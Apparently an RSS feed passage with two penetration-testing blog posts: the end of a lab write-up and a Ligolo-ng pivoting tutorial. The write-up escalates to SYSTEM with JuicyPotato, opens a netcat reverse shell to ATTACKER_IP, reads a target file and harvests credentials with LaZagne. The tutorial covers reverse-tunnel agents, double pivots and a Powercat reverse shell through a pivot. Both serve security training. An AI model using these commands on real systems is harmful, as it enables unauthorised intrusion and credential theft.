JuicyPotato</h3><p>Before executing the exploit, a <strong>Netcat listener must be started on the attacker machine</strong> to receive the reverse shell.</p><pre>nc -lvnp 4141</pre><p>This listener will wait for the SYSTEM shell connection once the exploit is executed.</p><p>JuicyPotato was then executed to spawn a <strong>SYSTEM-level reverse shell</strong>.</p><pre>.\juicypotato.exe -l 4141 -c &quot;{C49E32C6-BC8B-11d2-85D4-00105A1F8304}&quot; -p c:\windows\system32\cmd.exe -a &quot; /c c:\users\Public\nc.exe -e cmd.exe ATTACKER_IP 4141&quot; -t *</pre><h3>Output</h3><pre>[+] authresult 0<br>{CLSID};NT AUTHORITY\SYSTEM</pre><pre>[+] CreateProcessWithTokenW OK</pre><p>This confirmed that JuicyPotato successfully <strong>impersonated the SYSTEM token</strong> and spawned a process running as:</p><pre>NT AUTHORITY\SYSTEM</pre><p>At this point, <strong>full administrative access to the system was obtained</strong>.</p><h3>8. Locating Sensitive Files</h3><p>One of the assessment objectives was to locate a file named <strong>confidential.txt</strong>.</p><p>A recursive search of the system was performed:</p><pre>where /R C:\ confidential.txt</pre><h3>Result</h3><pre>C:\Users\Administrator\Music\confidential.txt</pre><p>The file was opened using:</p><pre>type \Users\Administrator\Music\confidential.txt</pre><h3>File Contents</h3><pre>5e5a7dafa79d923de***************</pre><h3>9. Credential Harvesting</h3><p>With SYSTEM access obtained, credential harvesting tools can be used to recover stored credentials.</p><p>The tool <strong>LaZagne</strong> was executed:</p><pre>LaZagne.exe all</pre><p>LaZagne extracts credentials from:</p><ul><li>Browser storage</li><li>Windows credential stores</li><li>Application configurations</li><li>Cached credentials</li><li>LSA secrets</li></ul><h3>10. Extracted Credentials</h3><p>LaZagne successfully recovered credentials stored by <strong>Apache Directory Studio</strong>, an LDAP administration tool.</p><h3>Discovered Credential</h3><pre>Host: dc01.inlanefreight.local<br>Port: 389<br>Login: ldapadmin<br>Password: car3ful_*************</pre><p>This credential could potentially allow authentication against the organization’s <strong>LDAP server</strong>.</p><h3>Conclusion</h3><p>This assessment demonstrates how a single <strong>command injection vulnerability</strong> can lead to complete system compromise.</p><p>By chaining together:</p><ul><li>Web exploitation</li><li>Privilege enumeration</li><li>Token impersonation</li><li>Credential harvesting</li></ul><p>an attacker was able to escalate privileges and obtain sensitive credentials stored on the system.</p><p>Proper <strong>input validation, least privilege configuration, and secure credential storage</strong> are essential to prevent such attacks.</p><p>Even a well-patched system can be compromised if configuration and privilege management are not carefully controlled.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30f498e444e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ligolo-ng: The Ultimate Pivoting Tool for Modern Pentesting]]></title>
            <link>https://medium.com/@moustafaabdelmaksoud/ligolo-ng-the-ultimate-pivoting-tool-for-modern-pentesting-ee586299e06d?source=rss-e875d1a0a18b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee586299e06d</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Moustafa Abdelmaksoud]]></dc:creator>
            <pubDate>Fri, 12 Dec 2025 11:45:17 GMT</pubDate>
            <atom:updated>2026-04-03T21:10:50.938Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Forget proxychains. Here is how to master tunneling with TUN interfaces.</strong></p><p><strong>Ligolo-ng</strong> is an advanced yet simple tunneling and pivoting tool for penetration testers. It allows access to internal networks and previously unreachable hosts through a reverse TCP/TLS connection using a virtual network interface, rather than relying on traditional, clunky proxies.</p><h3>Key Characteristics</h3><ul><li><strong>Lightweight &amp; Performant:</strong> Written in Golang.</li><li><strong>TUN Interface:</strong> Uses a virtual network device, so traffic appears as if directly routed into the compromised network.</li><li><strong>Multiplexing:</strong> Supports multiple connections over a single encrypted tunnel.</li><li><strong>No Proxychains:</strong> Works without needing SOCKS proxies or proxychains.</li><li><strong>Protocol Support:</strong> Handles TCP, UDP, and ICMP natively.</li><li><strong>Low Privilege:</strong> Does not require elevated privileges on the agent (target) side.</li></ul><p>Overall, Ligolo‑ng behaves like a <strong>lightweight VPN over reverse connections</strong> established from the compromised host back to the attacker.</p><h3>Why It’s Useful (Compared to Traditional Tools)</h3><p>Traditional methods like Chisel or SSHuttle often suffer from performance issues or complex setup requirements. Ligolo-ng simplifies this by operating at the network layer.</p><p>The table below highlights why Ligolo-ng is often the superior choice for modern engagements:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*MG_BK0zC3vXv5A1Ki4CVOg.png" /></figure><blockquote><em>Summary: Ligolo‑ng gives VPN‑like routing without SOCKS or proxychains, uses a real tun interface, and compresses traffic for efficient internal access.</em></blockquote><h3>Core Concepts &amp; How It Works</h3><h4>1. Reverse TCP/TLS Tunnel</h4><p>The <strong>agent</strong> (on the compromised host) connects back to the attacker’s <strong>proxy server</strong>. This connection is encrypted using TLS, which helps bypass firewalls and NATs that block inbound traffic.</p><h4>2. TUN Interface (Network Device)</h4><p>A TUN interface is created on the attacker’s machine. This acts like a virtual network card, routing internal packets through it. Tools (like nmap, ssh, rdp) run normally as if the network is directly connected.</p><h4>3. Multiple Sessions &amp; Multiplexing</h4><p>One single encrypted TCP/TLS session can carry many logical connections. This is far more efficient than opening single SOCKS connections per tool.</p><h3>TLS Options for Ligolo-ng</h3><p>Security is context-dependent. Choose the TLS option that fits your engagement:</p><ol><li><strong>Using Let’s Encrypt Autocert:</strong> Best for external C2 servers with port 80 open. It automatically generates a trusted certificate.</li></ol><ul><li>Command: ./proxy -autocert</li></ul><p><strong>2. Using Your Own TLS Certificates:</strong> Best for environments requiring internal CA compliance.</p><ul><li>Command: ./proxy -certfile cert.crt -keyfile priv.key</li></ul><p><strong>3. Automatic Self-Signed Certificates:</strong> Good for quick labs.</p><ul><li>Command: ./proxy -selfcert</li></ul><p><strong>4. Validating Self-Signed (Recommended):</strong> In real-world ops without a valid domain, manually verify the fingerprint to prevent MITM.</p><ul><li>Get fingerprint (Proxy): ligolo-ng » certificate_fingerprint</li><li>Accept fingerprint (Agent): ./agent -connect IP:PORT -accept-fingerprint &lt;hash&gt;</li></ul><h3>Commands &amp; Usage of Ligolo-ng</h3><h4>1. Installation:</h4><p>To begin using Ligolo-ng, you need to download and extract the following binaries:</p><ul><li>Ligolo-ng Agent</li><li>Ligolo-ng Proxy</li></ul><p>These can be downloaded from the <a href="https://github.com/Nicocha30/ligolo-ng/releases">official GitHub repository</a>.</p><p><strong>Command to Extract Files (Linux):</strong></p><pre>tar xzvf ligolo-ng-linux-amd64.tar.gz</pre><h4>2. Setting Up the Tunneling Interface:</h4><p>Before running Ligolo-ng, you need to create a <strong>tunnel interface</strong> on your attacker machine:</p><pre>sudo ip tuntap add user kali mode tun ligolo<br>sudo ip link set ligolo up</pre><p>Check if the tunnel is set up properly:</p><pre>ip addr show</pre><h4>3. Setting Up the Proxy (Attacker Side):</h4><p>To begin the proxy service and establish communication, the following command can be used. <strong><em>Ignoring all certificate verification (for lab/debugging not for real-world scenario)</em></strong></p><pre>sudo ./proxy -selfcert</pre><h4>4. Connecting from the Pivot Machine (Target Side):</h4><p>On the compromised machine (pivot machine), start the <strong>Ligolo-ng agent</strong> and connect to the attacker’s IP and port:</p><pre>./agent -connect &lt;attacker_ip&gt;:11601 -ignore-cert</pre><p>To ignore all security mechanisms, the -ignore-cert option can be used with the <em>agent</em>.</p><h4>5. Navigate between agents:</h4><p>To list sessions and navigate to one of them</p><pre>ligolo-ng » session # to list the sessions you have (You can use the arrow keys to move up and down then click enter to the one you need )</pre><pre>[Agent : webadmin@inlanefreight.local] »</pre><p>To see the network configuration of all interfaces</p><pre>[Agent : webadmin@inlanefreight.local] » ifconfig                                                                  │<br>┌────────────────────────────────────┐                                                                             │<br>│ Interface 0                        │                                                                             │<br>├──────────────┬─────────────────────┤                                                                             │<br>│ Name         │ lo                  │                                                                             │<br>│ Hardware MAC │                     │                                                                             │<br>│ MTU          │ 65536               │                                                                             │<br>│ Flags        │ up|loopback|running │                                                                             │<br>│ IPv4 Address │ 127.0.0.1/8         │                                                                             │<br>│ IPv6 Address │ ::1/128             │                                                                             │<br>└──────────────┴─────────────────────┘                                                                             │<br>┌─────────────────────────────────────────────────┐                                                                │<br>│ Interface 1                                     │                                                                │<br>├──────────────┬──────────────────────────────────┤                                                                │<br>│ Name         │ ens160                           │                                                                │<br>│ Hardware MAC │ 00:50:56:b0:2a:13                │                                                                │<br>│ MTU          │ 1500                             │                                                                │<br>│ Flags        │ up|broadcast|multicast|running   │                                                                │<br>│ IPv4 Address │ 10.129.229.129/16                │                                                                │<br>│ IPv6 Address │ dead:beef::250:56ff:feb0:2a13/64 │                                                                │<br>│ IPv6 Address │ fe80::250:56ff:feb0:2a13/64      │                                                                │<br>└──────────────┴──────────────────────────────────┘                                                                │<br>┌───────────────────────────────────────────────┐                                                                  │<br>│ Interface 2                                   │                                                                  │<br>├──────────────┬────────────────────────────────┤                                                                  │<br>│ Name         │ ens192                         │                                                                  │<br>│ Hardware MAC │ 00:50:56:b0:2a:91              │                                                                  │<br>│ MTU          │ 1500                           │                                                                  │<br>│ Flags        │ up|broadcast|multicast|running │                                                                  │<br>│ IPv4 Address │ 172.16.5.15/16                 │                                                                  │<br>│ IPv6 Address │ fe80::250:56ff:feb0:2a91/64    │                                                                  │<br>└──────────────┴────────────────────────────────┘</pre><h4>6. Establishing the Tunnel:</h4><p>Once the agent connects successfully, the next step is to configure a tunnel and route traffic to the internal network:</p><pre>sudo ip route add 172.16.5.0/24 dev ligolo</pre><p>then on the ligolo-ng proxy start the tunnel</p><pre>[Agent : webadmin@inlanefreight.local] » start </pre><pre>INFO[1368] Starting tunnel to webadmin@inlanefreight.local (005056b02a13)</pre><p>Now, you can access systems in the internal network that were previously unreachable, such as running <strong>Nmap</strong> scans across the internal subnet:</p><pre>nmap 172.16.5.0/24</pre><h3>🔥 Advanced Scenarios</h3><h4>1. Easy Double Pivot to Access a Second Internal Network</h4><p><strong>Scenario:</strong> You have compromised <strong>Host A</strong> (Webadmin), which has access to <strong>Host B</strong> (Windows Host). Host B has access to a deep internal network (Internal Network B / Domain Controller).</p><p>The diagram below illustrates how Ligolo-ng handles this multi-hop routing using separate tunnel interfaces for clean network segmentation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*4IVh6etc79se_RPGF-c0Sg.png" /></figure><p>To achieve that, we can do the following:</p><pre># Connect with xfreerdp<br>xfreerdp3 /u:mlefay /p:&#39;Plain Human work!&#39; /v:172.16.5.35<br><br># Upload ligolo-ng agent.exe<br>upload agent.exe<br><br># Set up a new ligolo interface on Kali<br>sudo ip tuntap add user kali mode tun ligolo2<br>sudo ip link set ligolo2 up<br><br># Add the second internal network<br>sudo ip route add 172.16.6.0/24 dev ligolo2<br><br># On the Ligolo-ng current session, create a new listener connecting to the Port 11601 of the first session<br>listener_add --addr 0.0.0.0:11601 --to 0.0.0.0:11601<br><br># Run the agent.exe to create a connection from the Second Pivot Host to the First Pivot Host<br>./agent.exe --connect 172.16.5.15:11601 -ignore-cert<br><br># On Ligolo-ng console - Show sessions<br>ligolo-ng » session<br><br># Select the new session created from the Second Pivot Host<br>? Specify a session : 2 # automotors\Administrator@DC01 (Example of the name of the second pivot host)<br><br># Start new Ligolo-ng session using the new interface &quot;ligolo2&quot; so it won&#39;t interfere with the first interface &quot;ligolo&quot;<br> [Agent : PIVOT-SRV01\mlefay@PIVOT-SRV01] » start --tun ligolo2<br> # Now we can access the second internal network 172.16.6.0/24</pre><h4>2. File Transfer Example with Single Pivot</h4><p>In this example:</p><ul><li>We got access into the Host B 172.16.150.20 (We are inside its CLI).</li><li>We previously set up our Pivot Host A, in this case 172.16.150.10.</li><li>Now we want to move a file from Kali (192.168.45.200) to Host B (172.16.150.20) through our Pivot Host A (172.16.150.10).</li></ul><p>To achieve that, we will create a new listener in our active Ligolo-ng session:</p><pre># Create new listener - Port 1234 on Kali will be the Port 9001 on the Pivot Host A# Enter the following on the running active Kali Ligolo-ng session<br>listener_add --addr 0.0.0.0:1234 --to 0.0.0.0:9001<br><br># Start Python server on Kali using Port 1234<br>python3 -m http.server 1234<br><br># From the Host B CLI, access Python server through Port 9001 at the Pivot Host to download the &quot;test.txt&quot; file<br>wget http://172.16.150.10:9001/test.txt</pre><h4>3. Reverse Shell Example with Single Pivot</h4><p>If you need a reverse shell from the internal network back to your attacker machine, you can configure the following:</p><pre>[Agent : webadmin@inlanefreight.local] » listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp<br><br># This redirects the connection from port 30000 on the pivot machine to port 10000 on your attacker machine.</pre><p>On the attacking machine, you can listen using <strong>Netcat</strong>:</p><pre>nc -lvnp 10000</pre><p>Then, on the internal machine, use <strong>Powercat</strong> to initiate the reverse shell:</p><pre>powercat -c &lt;Pivot_machine_ip&gt; -p 30000 -ep</pre><h4>4. Accessing Local Ports on Pivot Machine:</h4><p>To access the local ports on the pivot machine (like SSH), you can add a special route:</p><pre>sudo ip route add 240.0.0.1/32 dev ligolo</pre><p>You can then access services like SSH:</p><pre>nmap -p 22 240.0.0.1</pre><h3>Summary</h3><p>Ligolo-ng is a lightweight and efficient tool that simplifies the process of pivoting and lateral movement within a network. It reduces the overhead compared to other tunneling tools and is highly effective in environments where traditional methods like <strong>Proxychains</strong> or <strong>SSH tunneling</strong> may be too cumbersome. The key to success with Ligolo-ng is understanding how to establish and use tunnels effectively and how to pivot from the DMZ to internal systems with ease.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee586299e06d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>